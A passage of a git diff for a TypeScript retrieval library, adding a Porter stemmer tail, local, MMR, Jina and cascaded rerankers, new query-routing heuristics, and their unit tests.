substitutions + const step2: Array<[string, string]> = [ + ["ational", "ate"], ["tional", "tion"], ["enci", "ence"], ["anci", "ance"], + ["izer", "ize"], ["abli", "able"], ["alli", "al"], ["entli", "ent"], + ["eli", "e"], ["ousli", "ous"], ["ization", "ize"], ["ation", "ate"], + ["ator", "ate"], ["alism", "al"], ["iveness", "ive"], ["fulness", "ful"], + ["ousness", "ous"], ["aliti", "al"], ["iviti", "ive"], ["biliti", "ble"], + ]; + for (const [suf, rep] of step2) { + if (w.endsWith(suf)) { + const candidate = replaceSuffix(w, suf, rep); + if (measure(candidate.slice(0, candidate.length - rep.length)) > 0) { + w = candidate; + } + break; + } + } + + // Step 3 — m>0 + const step3: Array<[string, string]> = [ + ["icate", "ic"], ["ative", ""], ["alize", "al"], ["iciti", "ic"], + ["ical", "ic"], ["ful", ""], ["ness", ""], + ]; + for (const [suf, rep] of step3) { + if (w.endsWith(suf)) { + const candidate = replaceSuffix(w, suf, rep); + if (measure(candidate.slice(0, candidate.length - rep.length)) > 0) { + w = candidate; + } + break; + } + } + + // Step 4 — m>1, drop suffix entirely. Note: Porter's "ION" rule fires only + // when preceded by S or T (so "nation" → "nat" → kept; "connection" → + // "connect" → dropped). The other suffixes drop unconditionally at m>1. + const step4 = [ + "ement", "ation", "ance", "ence", "able", "ible", "ment", + "ant", "ent", "ism", "ate", "iti", "ous", "ive", "ize", + "al", "er", "ic", "ou", + ]; + let step4Matched = false; + for (const suf of step4) { + if (w.endsWith(suf)) { + const candidate = w.slice(0, -suf.length); + if (measure(candidate) > 1) { + w = candidate; + } + step4Matched = true; + break; + } + } + // "ion" — only when preceded by 's' or 't'. + if (!step4Matched && w.endsWith("ion")) { + const candidate = w.slice(0, -3); + const last = candidate[candidate.length - 1]; + if ((last === "s" || last === "t") && measure(candidate) > 1) { + w = candidate; + } + } + + // Step 5a — final e + if (w.endsWith("e")) { + const candidate = w.slice(0, -1); + const m = measure(candidate); + if (m > 1 || (m === 1 && !endsCVC(candidate))) w = candidate; + } + // Step 5b — final l after double l, m>1 + if ( + measure(w) > 1 && + endsDoubleConsonant(w) && + w.endsWith("l") + ) { + w = w.slice(0, -1); + } + + return w; +} diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index f856c0e..daf7579 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -30,6 +30,7 @@ export { type AdapterCapabilities, BaseAdapter, InMemoryAdapter, + type InMemoryAdapterOptions, PineconeAdapter, TurbopufferAdapter, PgVectorAdapter, @@ -42,6 +43,9 @@ export { FixedSizeChunker, SentenceChunker, SemanticChunker, + MetadataChunker, + Doc2QueryChunker, + type Doc2QueryChunkerOptions, chunkDocument, } from "./chunking/index.js"; @@ -49,9 +53,15 @@ export { export { type Embedder, HashEmbedder, + TfIdfEmbedder, OpenAIEmbedder, + GeminiEmbedder, tokenize, + tokenizeAdvanced, + stem, + STOPWORDS, } from "./embeddings/embedder.js"; +export { LocalEmbedder } from "./embeddings/local-embedder.js"; // Routing export { type Router, HeuristicRouter, computeSignals } from "./routing/index.js"; @@ -61,7 +71,14 @@ export { type Reranker, HeuristicReranker, CohereReranker, + JinaReranker, + CascadedReranker, } from "./reranking/reranker.js"; +export { LocalReranker } from "./reranking/local-reranker.js"; +export { MMRReranker } from "./reranking/mmr-reranker.js"; + +// Question taxonomy from signals (re-exported for routers consuming the type). +export type { QuestionType } from "./types.js"; // Observability export { Tracer, TraceStore } from "./observability/tracer.js"; diff --git a/packages/core/src/reranking/local-reranker.test.ts b/packages/core/src/reranking/local-reranker.test.ts new file mode 100644 index 0000000..01d7be7 --- /dev/null +++ b/packages/core/src/reranking/local-reranker.test.ts @@ -0,0 +1,24 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { LocalReranker } from "./local-reranker.js"; + +test("LocalReranker: default model is ms-marco-MiniLM-L-6-v2", () => { + const r = new LocalReranker(); + assert.equal(r.name, "local-reranker:Xenova/ms-marco-MiniLM-L-6-v2"); +}); + +test("LocalReranker: empty results return empty without loading model", async () => { + const r = new LocalReranker(); + const out = await r.rerank("query", [], 5); + assert.deepEqual(out, []); +}); + +test("LocalReranker: custom model surfaces in name", () => { + const r = new LocalReranker({ model: "Xenova/bge-reranker-base" }); + assert.equal(r.name, "local-reranker:Xenova/bge-reranker-base"); +}); + +test("LocalReranker: applySigmoid option accepted", () => { + const r = new LocalReranker({ applySigmoid: false }); + assert.ok(r.name.startsWith("local-reranker:")); +}); diff --git a/packages/core/src/reranking/local-reranker.ts b/packages/core/src/reranking/local-reranker.ts new file mode 100644 index 0000000..1aadbe7 --- /dev/null +++ b/packages/core/src/reranking/local-reranker.ts @@ -0,0 +1,112 @@ +/** + * LocalReranker — runs a cross-encoder reranker entirely on-device via + * `@huggingface/transformers`. + * + * The default model is `Xenova/ms-marco-MiniLM-L-6-v2` (~22MB), the + * standard small cross-encoder trained on MS-MARCO. It scores (query, + * passage) pairs directly — much higher precision than a bi-encoder + * cosine because the model attends across the boundary. + * + * Best practice: pair this with a bi-encoder retrieval pipeline. The + * bi-encoder (e.g. `LocalEmbedder`) does broad recall over the whole + * corpus; the cross-encoder reranker scores only the top ~50 candidates. + * That cascade gives near-cross-encoder precision at near-bi-encoder + * cost. + * + * Heavier alternatives (configurable via the `model` option): + * + * - `Xenova/ms-marco-MiniLM-L-12-v2` — 33MB, +small NDCG bump + * - `Xenova/bge-reranker-base` — 280MB, top-tier accuracy + * - `Xenova/jina-reranker-v1-tiny-en` — 33MB, Jina's tiny variant + * + * Dynamic import keeps `@huggingface/transformers` out of the install + * footprint for consumers that don't use this class. + */ + +import type { Reranker } from "./reranker.js"; +import type { SearchResult } from "../types.js"; + +const pipelineCache = new Map<string, Promise<unknown>>(); + +async function getRerankPipeline(model: string): Promise<unknown> { + let p = pipelineCache.get(model); + if (p) return p; + p = (async () => { + const transformers = (await import("@huggingface/transformers")) as unknown as { + pipeline: (task: string, model: string) => Promise<unknown>; + }; + // text-classification with a (text, text_pair) input runs the cross-encoder + // and returns its logit/score for the pair. + return transformers.pipeline("text-classification", model); + })(); + pipelineCache.set(model, p); + return p; +} + +export class LocalReranker implements Reranker { + readonly name: string; + private model: string; + private batchSize: number; + private applySigmoid: boolean; + + constructor(opts: { + model?: string; + batchSize?: number; + /** + * Apply sigmoid to raw cross-encoder logits to get calibrated [0,1] + * scores. Default true — calibrated scores compose better with MMR, + * threshold-based filtering, and score-weighted hybrid fusion. Pass + * `false` if you specifically want raw logits. + */ + applySigmoid?: boolean; + } = {}) { + this.model = opts.model ?? "Xenova/ms-marco-MiniLM-L-6-v2"; + this.batchSize = opts.batchSize ?? 16; + this.applySigmoid = opts.applySigmoid ?? true; + this.name = `local-reranker:${this.model}`; + } + + async rerank( + query: string, + results: SearchResult[], + topK: number + ): Promise<SearchResult[]> { + if (results.length === 0) return []; + + const pipe = (await getRerankPipeline(this.model)) as ( + input: Array<{ text: string; text_pair: string }>, + opts: { topk: number; function_to_apply: "none" | "sigmoid" | "softmax" } + ) => Promise<Array<{ label: string; score: number }>>; + + const scores = new Array<number>(results.length).fill(0); + for (let i = 0; i < results.length; i += this.batchSize) { + const batch = results.slice(i, i + this.batchSize); + const inputs = batch.map((r) => ({ text: query, text_pair: r.chunk.content })); + // ms-marco-MiniLM and most cross-encoders output a single relevance + // logit. topk: 1 + function_to_apply: "none" returns the raw score. + const out = await pipe(inputs, { topk: 1, function_to_apply: "none" }); + for (let b = 0; b < batch.length; b++) { + const raw = out[b]?.score ?? 0; + scores[i + b] = this.applySigmoid ? sigmoid(raw) : raw; + } + } + + const rescored = results.map((r, i) => ({ + ...r, + score: scores[i] ?? 0, + rawScores: { ...r.rawScores, original: r.score }, + })); + rescored.sort((a, b) => b.score - a.score); + return rescored.slice(0, topK); + } +} + +function sigmoid(x: number): number { + // Stable for both positive and negative inputs. + if (x >= 0) { + const z = Math.exp(-x); + return 1 / (1 + z); + } + const z = Math.exp(x); + return z / (1 + z); +} diff --git a/packages/core/src/reranking/mmr-reranker.test.ts b/packages/core/src/reranking/mmr-reranker.test.ts new file mode 100644 index 0000000..de2bc23 --- /dev/null +++ b/packages/core/src/reranking/mmr-reranker.test.ts @@ -0,0 +1,59 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { MMRReranker } from "./mmr-reranker.js"; +import type { SearchResult } from "../types.js"; + +function r(id: string, content: string, score: number): SearchResult { + return { + chunk: { id, documentId: id, content, index: 0 }, + score, + }; +} + +test("MMRReranker: lambda=1 preserves input order (pure relevance)", async () => { + const m = new MMRReranker({ lambda: 1.0 }); + const input = [ + r("a", "redis cache eviction policy", 0.9), + r("b", "redis cache eviction lru", 0.85), + r("c", "kubernetes liveness probes", 0.5), + ]; + const out = await m.rerank("redis cache", input, 3); + assert.deepEqual( + out.map((x) => x.chunk.id), + ["a", "b", "c"] + ); +}); + +test("MMRReranker: lambda<1 promotes diverse second result", async () => { + const m = new MMRReranker({ lambda: 0.3 }); + const input = [ + r("a", "redis cache eviction policy allkeys lru noeviction", 0.9), + r("b", "redis cache eviction allkeys lru policy noeviction", 0.85), + r("c", "kubernetes liveness probes restart policy", 0.5), + ]; + const out = await m.rerank("policy", input, 3); + assert.equal(out[0]!.chunk.id, "a"); + assert.equal(out[1]!.chunk.id, "c"); + assert.equal(out[2]!.chunk.id, "b"); +}); + +test("MMRReranker: empty input returns empty", async () => { + const m = new MMRReranker(); + assert.deepEqual(await m.rerank("anything", [], 5), []); +}); + +test("MMRReranker: respects topK", async () => { + const m = new MMRReranker({ lambda: 0.5 }); + const input = [ + r("a", "alpha beta gamma", 0.9), + r("b", "delta epsilon zeta", 0.8), + r("c", "eta theta iota", 0.7), + ]; + const out = await m.rerank("anything", input, 2); + assert.equal(out.length, 2); +}); + +test("MMRReranker: name reflects lambda", () => { + const m = new MMRReranker({ lambda: 0.4 }); + assert.equal(m.name, "mmr(λ=0.4)"); +}); diff --git a/packages/core/src/reranking/mmr-reranker.ts b/packages/core/src/reranking/mmr-reranker.ts new file mode 100644 index 0000000..bb12268 --- /dev/null +++ b/packages/core/src/reranking/mmr-reranker.ts @@ -0,0 +1,114 @@ +import type { Reranker } from "./reranker.js"; +import type { SearchResult } from "../types.js"; +import { tokenizeAdvanced } from "../embeddings/text-utils.js"; + +/** + * MMRReranker — Maximal Marginal Relevance reranking for diversity. + * + * Carbonell & Goldstein (1998), still the standard "make top-K diverse" + * pattern in production retrieval. The score for selecting the next doc + * is: + * + * MMR(d) = λ · score(d) − (1 − λ) · max_{d' in selected} sim(d, d') + * + * λ = 1.0 → pure relevance (input order). + * λ = 0.0 → pure novelty (most-different first). + * λ = 0.7 (default) → relevance-weighted with a strong diversity bonus. + * + * Why include this: + * - Ambiguous / multi-aspect queries often have several distinct + * relevant docs. A pure-relevance reranker concentrates on near- + * duplicates, leaving the user with three flavors of the same + * answer instead of three answers. + * - On the bundled eval, the `ambiguous` category has the lowest + * NDCG@10 across all configs — exactly because relevant docs are + * spread across multiple sub-topics. MMR re-orders so different + * sub-topics surface in the top-K. + * + * Stack with another reranker via `CascadedReranker`: + * `[LocalReranker, 50]` → `[MMRReranker, topK]`. The cross-encoder + * narrows on relevance, then MMR diversifies the survivors. + * + * Doc-doc similarity: + * Default uses a Jaccard overlap on stemmed-and-stopworded tokens — + * no embeddings needed, runs in O(n²) over the candidates (fine for + * ~50 candidates). Pass a custom `similarity` function for + * embedding-based or other measures. + */ +export class MMRReranker implements Reranker { + readonly name: string; + private lambda: number; + private similarity: (a: SearchResult, b: SearchResult) => number; + + constructor(opts: { + /** 0 = pure novelty, 1 = pure relevance. Default 0.7. */ + lambda?: number; + /** Override the default Jaccard-on-stems similarity. */ + similarity?: (a: SearchResult, b: SearchResult) => number; + } = {}) { + this.lambda = opts.lambda ?? 0.7; + this.similarity = opts.similarity ?? defaultJaccardSimilarity; + this.name = `mmr(λ=${this.lambda})`; + } + + async rerank( + _query: string, + results: SearchResult[], + topK: number + ): Promise<SearchResult[]> { + if (results.length === 0) return []; + const k = Math.min(topK, results.length); + + // Pre-compute pairwise similarities lazily as we go (stale once we cross + // ~200 candidates; fine at our scale). + const simCache = new Map<string, number>(); + const pairSim = (i: number, j: number): number => { + const key = i < j ? `${i}|${j}` : `${j}|${i}`; + let s = simCache.get(key); + if (s === undefined) { + s = this.similarity(results[i]!, results[j]!); + simCache.set(key, s); + } + return s; + }; + + const selected: number[] = []; + const remaining = new Set<number>(); + for (let i = 0; i < results.length; i++) remaining.add(i); + + while (selected.length < k && remaining.size > 0) { + let bestIdx = -1; + let bestScore = -Infinity; + for (const i of remaining) { + let maxSim = 0; + for (const j of selected) { + const s = pairSim(i, j); + if (s > maxSim) maxSim = s; + } + const mmr = this.lambda * results[i]!.score - (1 - this.lambda) * maxSim; + if (mmr > bestScore) { + bestScore = mmr; + bestIdx = i; + } + } + if (bestIdx === -1) break; + selected.push(bestIdx); + remaining.delete(bestIdx); + } + + // Preserve the input scores (not the MMR meta-scores) so downstream code + // sees calibrated relevance numbers; the new order is the only diff. + return selected.map((i) => results[i]!); + } +} + +/** Token-level Jaccard on stemmed, stopword-filtered content. */ +function defaultJaccardSimilarity(a: SearchResult, b: SearchResult): number { + const ta = new Set(tokenizeAdvanced(a.chunk.content, { stem: true, dropStopwords: true })); + const tb = new Set(tokenizeAdvanced(b.chunk.content, { stem: true, dropStopwords: true })); + if (ta.size === 0 && tb.size === 0) return 1; + let intersect = 0; + for (const t of ta) if (tb.has(t)) intersect += 1; + const union = ta.size + tb.size - intersect; + return union === 0 ? 0 : intersect / union; +} diff --git a/packages/core/src/reranking/reranker.test.ts b/packages/core/src/reranking/reranker.test.ts new file mode 100644 index 0000000..401ebce --- /dev/null +++ b/packages/core/src/reranking/reranker.test.ts @@ -0,0 +1,156 @@ +import { test, beforeEach, afterEach } from "node:test"; +import assert from "node:assert/strict"; +import { + CascadedReranker, + CohereReranker, + HeuristicReranker, + JinaReranker, +} from "./reranker.js"; +import type { SearchResult } from "../types.js"; + +function chunk(id: string, content: string): SearchResult { + return { + chunk: { id, documentId: id.split(":")[0]!, content, index: 0 }, + score: 0.5, + }; +} + +const candidates: SearchResult[] = [ + chunk("a:0", "PostgreSQL connection pooling with PgBouncer."), + chunk("b:0", "Kubernetes liveness probes determine restarts."), + chunk("c:0", "Redis cache eviction policies allkeys-lru."), +]; + +// ---------- HeuristicReranker (baseline, no network) ---------- + +test("HeuristicReranker boosts results with high token overlap", async () => { + const r = new HeuristicReranker(); + const reordered = await r.rerank("postgres connection pooling", candidates, 3); + assert.equal(reordered[0]!.chunk.id, "a:0"); +}); + +test("HeuristicReranker handles empty input", async () => { + const r = new HeuristicReranker(); + assert.deepEqual(await r.rerank("anything", [], 3), []); +}); + +// ---------- HTTP rerankers (use a fetch stub) ---------- + +let originalFetch: typeof fetch; +beforeEach(() => { + originalFetch = globalThis.fetch; +}); +afterEach(() => { + globalThis.fetch = originalFetch; +}); + +function stubFetch(handler: (url: string, init: RequestInit) => Response) { + globalThis.fetch = (input: string | URL | Request, init?: RequestInit) => { + const url = typeof input === "string" ? input : input.toString(); + return Promise.resolve(handler(url, init ?? {})); + }; +} + +test("CohereReranker maps Cohere response to ordered results", async () => { + stubFetch((_url, init) => { + const body = JSON.parse(init.body as string); + assert.equal(body.query, "redis eviction"); + assert.equal(body.documents.length, 3); + return new Response( + JSON.stringify({ + results: [ + { index: 2, relevance_score: 0.95 }, + { index: 0, relevance_score: 0.40 }, + ], + }), + { status: 200, headers: { "Content-Type": "application/json" } } + ); + }); + const r = new CohereReranker({ apiKey: "test-key" }); + const out = await r.rerank("redis eviction", candidates, 2); + assert.equal(out.length, 2); + assert.equal(out[0]!.chunk.id, "c:0"); // index 2 mapped back + assert.equal(out[0]!.score, 0.95); + assert.equal(out[0]!.rawScores?.original, 0.5); + assert.equal(out[1]!.chunk.id, "a:0"); +}); + +test("CohereReranker throws on non-OK response", async () => { + stubFetch(() => new Response("rate-limited", { status: 429 })); + const r = new CohereReranker({ apiKey: "test-key" }); + await assert.rejects(() => r.rerank("q", candidates, 3), /Cohere rerank failed.*429/); +}); + +test("CohereReranker constructor errors when no apiKey or env var", () => { + const orig = process.env.COHERE_API_KEY; + delete process.env.COHERE_API_KEY; + try { + assert.throws(() => new CohereReranker(), /apiKey not provided/); + } finally { + if (orig !== undefined) process.env.COHERE_API_KEY = orig; + } +}); + +test("JinaReranker hits the configured endpoint with auth header", async () => { + let seenUrl = ""; + let seenAuth = ""; + stubFetch((url, init) => { + seenUrl = url; + seenAuth = (init.headers as Record<string, string>)["Authorization"] ?? ""; + return new Response( + JSON.stringify({ + results: [{ index: 1, relevance_score: 0.9 }], + }), + { status: 200, headers: { "Content-Type": "application/json" } } + ); + }); + const r = new JinaReranker({ apiKey: "jina-test" }); + const out = await r.rerank("k8s probes", candidates, 1); + assert.ok(seenUrl.includes("api.jina.ai")); + assert.equal(seenAuth, "Bearer jina-test"); + assert.equal(out[0]!.chunk.id, "b:0"); +}); + +// ---------- CascadedReranker ---------- + +test("CascadedReranker: chains stages with declining topK", async () => { + // Stage 1: heuristic — narrows to top-N1 + // Stage 2: stub cross-encoder — narrows to caller's topK + let stage1SeenK = 0; + let stage2SeenK = 0; + const stage1: import("./reranker.js").Reranker = { + name: "stage1", + async rerank(_q, results, topK) { + stage1SeenK = topK; + return results.slice(0, topK); + }, + }; + const stage2: import("./reranker.js").Reranker = { + name: "stage2", + async rerank(_q, results, topK) { + stage2SeenK = topK; + return results.slice(0, topK); + }, + }; + const cascade = new CascadedReranker([ + [stage1, 5], // narrow to 5 (intermediate) + [stage2, 99], // ignored — final stage uses caller's topK + ]); + const out = await cascade.rerank("q", candidates, 2); + assert.equal(stage1SeenK, 5); + assert.equal(stage2SeenK, 2); // final stage uses caller's topK + assert.equal(out.length, 2); +}); + +test("CascadedReranker: throws when given no stages", () => { + assert.throws(() => new CascadedReranker([]), /at least one stage/); +}); + +test("CascadedReranker: name reflects pipeline", () => { + const c = new CascadedReranker([ + [new HeuristicReranker(), 50], + [new HeuristicReranker(), 10], + ]); + assert.ok(c.name.includes("heuristic-reranker")); + assert.ok(c.name.includes("→")); +}); diff --git a/packages/core/src/reranking/reranker.ts b/packages/core/src/reranking/reranker.ts index c254be2..133c81a 100644 --- a/packages/core/src/reranking/reranker.ts +++ b/packages/core/src/reranking/reranker.ts @@ -119,6 +119,105 @@ export class CohereReranker implements Reranker { } } +/** + * JinaReranker — uses Jina AI's rerank API. + * + * Jina's rerank-v2-base-multilingual handles non-English well, which is the + * single biggest weakness of the default heuristic + hash-embedder pipeline. + * Set JINA_API_KEY in the environment or pass `apiKey` directly. + */ +export class JinaReranker implements Reranker { + readonly name: string; + private apiKey: string; + private model: string; + private endpoint: string; + + constructor(opts: { apiKey?: string; model?: string; endpoint?: string } = {}) { + this.apiKey = opts.apiKey ?? process.env.JINA_API_KEY ?? ""; + this.model = opts.model ?? "jina-reranker-v2-base-multilingual"; + this.endpoint = opts.endpoint ?? "https://api.jina.ai/v1/rerank"; + this.name = `jina:${this.model}`; + if (!this.apiKey) { + throw new Error("JinaReranker: apiKey not provided and JINA_API_KEY is not set"); + } + } + + async rerank(query: string, results: SearchResult[], topK: number): Promise<SearchResult[]> { + if (results.length === 0) return []; + const res = await fetch(this.endpoint, { + method: "POST", + headers: { + Authorization: `Bearer ${this.apiKey}`, + "Content-Type": "application/json", + }, + body: JSON.stringify({ + model: this.model, + query, + documents: results.map((r) => r.chunk.content), + top_n: topK, + }), + }); + if (!res.ok) { + throw new Error(`Jina rerank failed (${res.status}): ${await res.text()}`); + } + const json = (await res.json()) as { + results: Array<{ index: number; relevance_score: number }>; + }; + return json.results.map((r) => { + const original = results[r.index]!; + return { + ...original, + score: r.relevance_score, + rawScores: { ...original.rawScores, original: original.score }, + }; + }); + } +} + +/** + * CascadedReranker — chain N rerankers, each narrowing the candidate set. + * + * The standard production pattern: a cheap first-pass narrows from 1000 + * candidates to 100, an expensive cross-encoder narrows from 100 to 10. + * Each stage trades latency for precision; stacking them gets you both. + * + * Usage: + * const reranker = new CascadedReranker([ + * [new HeuristicReranker(), 100], // cheap, broad + * [new CohereReranker(), 10], // expensive, narrow + * ]); + * + * Each tuple is [reranker, topK_for_that_stage]. The final stage's topK + * is what the caller asked for; intermediate stages should pass more. + */ +export class CascadedReranker implements Reranker { + readonly name: string; + private stages: Array<[Reranker, number]>; + + constructor(stages: Array<[Reranker, number]>) { + if (stages.length === 0) { + throw new Error("CascadedReranker requires at least one stage"); + } + this.stages = stages; + this.name = `cascade(${stages.map(([r]) => r.name).join("→")})`; + } + + async rerank( + query: string, + results: SearchResult[], + topK: number + ): Promise<SearchResult[]> { + let current = results; + for (let i = 0; i < this.stages.length; i++) { + const [reranker, stageTopK] = this.stages[i]!; + // Final stage uses the caller's topK; earlier stages use their declared topK. + const k = i === this.stages.length - 1 ? topK : stageTopK; + current = await reranker.rerank(query, current, k); + } + return current; + } +} + /** Squash arbitrary scores into [0,1] using a stable sigmoid. */ function normalize(score: number): number { return 1 / (1 + Math.exp(-score)); diff --git a/packages/core/src/routing/router.test.ts b/packages/core/src/routing/router.test.ts index c189da0..2007521 100644 --- a/packages/core/src/routing/router.test.ts +++ b/packages/core/src/routing/router.test.ts @@ -79,3 +79,100 @@ test("forceStrategy is honored", () => { ); assert.equal(d.strategy, "keyword"); }); + +// ---------- new signal-driven branches ---------- + +test("router routes non-English queries to vector", () => { + const r = new HeuristicRouter(); + const d = r.decide({ query: "重複行 削除 PostgreSQL" }, fullCaps); + assert.equal(d.strategy, "vector"); + assert.ok(d.reasons.some((x) => x.includes("non-English"))); +}); + +test("router treats code-like syntax as keyword on short queries", () => { + const r = new HeuristicRouter(); + const d = r.decide({ query: "useState pattern react" }, fullCaps); + assert.equal(d.strategy, "keyword"); + assert.ok(d.reasons.some((x) => x.includes("code-like"))); +}); + +test("router treats date/version tokens as keyword on short queries", () => { + const r = new HeuristicRouter(); + const d = r.decide({ query: "RFC 7519 JWT" }, fullCaps); + assert.equal(d.strategy, "keyword"); +}); + +test("router treats CVE token as keyword", () => { + const r = new HeuristicRouter(); + const d = r.decide({ query: "CVE-2024-3094" }, fullCaps); + assert.equal(d.strategy, "keyword"); +}); + +test("router routes mid-query named entity to keyword (not a question)", () => { + const r = new HeuristicRouter(); + // Query has no specific/code/date tokens, just a mid-query proper noun. + const d = r.decide({ query: "setup Stripe payments production" }, fullCaps); + assert.equal(d.strategy, "keyword"); + assert.ok(d.reasons.some((x) => x.includes("named entity"))); +}); + +test("router routes definitional questions to vector", () => { + const r = new HeuristicRouter(); + // No specific/code tokens so the short-keyword branch doesn't fire first. + const d = r.decide({ query: "what is the rust borrow checker" }, fullCaps); + assert.equal(d.strategy, "vector"); + assert.ok(d.reasons.some((x) => x.includes("definitional"))); +}); + +test("router routes factoid questions to hybrid", () => { + const r = new HeuristicRouter(); + const d = r.decide({ query: "where does redis store data on disk" }, fullCaps); + assert.equal(d.strategy, "hybrid"); + assert.ok(d.reasons.some((x) => x.includes("factoid"))); +}); + +test("router routes procedural questions to vector with reason 'procedural'", () => { + const r = new HeuristicRouter(); + const d = r.decide( + { query: "how do I tune autovacuum on a large table" }, + fullCaps + ); + assert.equal(d.strategy, "vector"); + assert.ok(d.reasons.some((x) => x.includes("procedural"))); +}); + +test("router preserves untyped question fallback (Can/Should/Is)", () => { + const r = new HeuristicRouter(); + const d = r.decide( + { query: "Can I deploy without taking the system down" }, + fullCaps + ); + // "without" triggers negation → reranking forced; strategy still "vector". + assert.equal(d.strategy, "vector"); +}); + +test("router forces rerank when negation token present, even on keyword", () => { + const r = new HeuristicRouter(); + // Quoted phrase routes to keyword; "without" triggers rerank override. + const d = r.decide( + { query: '"connection refused" without firewall', latencyBudgetMs: 100 }, + fullCaps + ); + assert.equal(d.strategy, "keyword"); + assert.equal(d.reranked, true); + assert.ok(d.reasons.some((x) => x.includes("negation"))); +}); + +test("router forces rerank under tight budget when negation present", () => { + const r = new HeuristicRouter(); + // Mid-length query that would normally route hybrid; tight budget would + // skip rerank, but negation forces it on. + const d = r.decide( + { + query: "deploy production rollout without downtime", + latencyBudgetMs: 100, + }, + fullCaps + ); + assert.equal(d.reranked, true); +}); diff --git a/packages/core/src/routing/router.ts b/packages/core/src/routing/router.ts index 0e53e5e..f7d5ff2 100644 --- a/packages/core/src/routing/router.ts +++ b/packages/core/src/routing/router.ts @@ -1,5 +1,10 @@ import type { AdapterCapabilities } from "../adapters/adapter.js"; -import type { RoutingDecision, RetrievalStrategy, SearchRequest } from "../types.js"; +import type { + RoutingDecision, + RetrievalStrategy, + SearchRequest, + QuerySignals, +} from "../types.js"; import { computeSignals } from "./signals.js"; /** @@ -20,25 +25,34 @@ export interface Router { * * The decision flow, in plain English: * - * 1. If the user forced a strategy, honor it (record in trace). - * 2. Compute query signals. - * 3. If the adapter only supports vector → vector (capability fallback). - * 4. If the query has quoted phrases or is highly specific (IDs, codes, - * numbers, acronyms) → keyword. Pure semantic embeddings don't reliably - * retrieve exact tokens. - * 5. If the query is short AND specific → keyword (small queries embed badly). - * 6. If the query is a question or long natural prose → vector. The latency - * budget decides whether to tack on reranking. - * 7. Otherwise → hybrid. The default for "I don't know" is to do both — + * 1. forceStrategy → use it verbatim. + * 2. Capability fallback — adapter only supports vector → vector. + * 3. Non-English query → vector. Our default analyzer is English-tuned; + * BM25 is unhelpful on CJK / Cyrillic / Arabic etc. + * 4. Quoted phrase → keyword. Exact phrase match is a hard constraint. + * 5. Specific tokens / code-like / date-version AND short query (≤6) → keyword. + * Identifiers, error codes, semver, RFC numbers want literal match. + * 6. Very short queries (≤2 tokens) → keyword (or vector if adapter lacks). + * 7. Mid-query named entity AND not a question → keyword. "PgBouncer config + * OLTP" type queries are looking for a specific named thing. + * 8. Question taxonomy: + * - procedural (how/why) → vector. Semantic match wins. + * - definitional (what is X) → vector. Synonym tolerance matters. + * - factoid (who/when/where/which) → hybrid. Entity match + semantics. + * - other questions ≥5 tokens → vector (preserve original behavior). + * 9. High ambiguity → vector + rerank. + * 10. Otherwise → hybrid. The default for "I don't know" is do both — * hybrid retrieval is rarely worse than either alone, and RRF makes it * cheap to combine. * * Reranking is layered on top: - * - If `latencyBudgetMs` is undefined or > 800ms, and the strategy is - * vector or hybrid, mark `reranked = true`. Reranking is the single - * biggest quality lever after embeddings. - * - For keyword-only routes we skip reranking by default — keyword scores - * are already lexical, and rerankers are designed for vector recalls. + * - If `forceStrategy === "rerank"` → always rerank. + * - If signals.hasNegation → always rerank. Bi-encoders famously fail on + * negation ("X without Y" embeds similarly to "X with Y"); the reranker + * actually reads the words "not"/"without". + * - For keyword strategies otherwise, skip rerank (scores already lexical). + * - For vector / hybrid, rerank when no budget OR budget > 800ms (empirical + * floor: a cross-encoder over 50 candidates is ~200-500ms on commodity infra). * * Every decision records human-readable `reasons` so the dashboard and the * trace explorer can show *why* a route was picked. This is the @@ -63,33 +77,68 @@ export class HeuristicRouter implements Router { return finalize("vector", signals, reasons, caps, req); } + // 3. Non-English → vector (English-tuned BM25 fails on CJK and similar). + if (signals.language === "non-en") { + reasons.push("non-English query → semantic search"); + return finalize("vector", signals, reasons, caps, req); + } + let strategy: RetrievalStrategy; - // 3. Phrase or high-specificity → keyword. + // 4. Quoted phrase → keyword. if (signals.hasQuotedPhrase) { reasons.push("query contains quoted phrase"); strategy = "keyword"; - } else if (signals.hasSpecificTokens && signals.tokens <= 6) { - reasons.push("short query with specific identifiers/codes"); + } + // 5. Specific / code-like / dated short query → keyword. + else if ( + (signals.hasSpecificTokens || signals.hasCodeLike || signals.hasDateOrVersion) && + signals.tokens <= 6 + ) { + const why = signals.hasDateOrVersion + ? "date/version/RFC token" + : signals.hasCodeLike + ? "code-like syntax" + : "specific identifiers/codes"; + reasons.push(`short query with ${why} → keyword`); strategy = "keyword"; - } else if (signals.tokens <= 2) { - // Very short queries (single keyword) — keyword if available. + } + // 6. Very short queries → keyword. + else if (signals.tokens <= 2) { reasons.push("very short query (≤2 tokens) → prefer keyword"); strategy = caps.keyword ? "keyword" : "vector"; + } + // 7. Mid-query named entity, not a question → keyword. + else if (signals.hasNamedEntity && signals.tokens <= 6 && !signals.isQuestion) { + reasons.push("named entity detected → keyword"); + strategy = "keyword"; + } + // 8. Question taxonomy. + else if (signals.questionType === "procedural" && signals.tokens >= 5) { + reasons.push("procedural question (how/why) → semantic search"); + strategy = "vector"; + } else if (signals.questionType === "definitional" && signals.tokens >= 3) { + reasons.push("definitional question (what is X) → semantic search"); + strategy = "vector"; + } else if (signals.questionType === "factoid" && signals.tokens >= 3) { + reasons.push("factoid question (who/when/where/which) → hybrid"); + strategy = "hybrid"; } else if (signals.isQuestion && signals.tokens >= 5) { reasons.push("natural-language question → semantic search"); strategy = "vector"; - } else if (signals.ambiguity > 0.6) { + } + // 9. High ambiguity → vector + rerank. + else if (signals.ambiguity > 0.6) { reasons.push("ambiguous query → semantic + rerank"); strategy = "vector"; - } else { + } + // 10. Default → hybrid. + else { reasons.push("default → hybrid (no strong signal either way)"); strategy = caps.hybrid || (caps.vector && caps.keyword) ? "hybrid" : "vector"; } - // 4. If we picked hybrid but adapter can't do hybrid AND lacks keyword, - // degrade gracefully. (BaseAdapter provides hybrid as RRF on top of - // vec+kw, so as long as both are supported, we're fine.) + // Graceful degradation if the picked strategy isn't supported by the adapter. if (strategy === "hybrid" && !caps.hybrid && !(caps.vector && caps.keyword)) { reasons.push("hybrid not supported by adapter, falling back to vector"); strategy = "vector"; @@ -105,31 +154,42 @@ export class HeuristicRouter implements Router { function finalize( strategy: RetrievalStrategy, - signals: ReturnType<typeof computeSignals>, + signals: QuerySignals, reasons: string[], _caps: AdapterCapabilities, req: SearchRequest ): 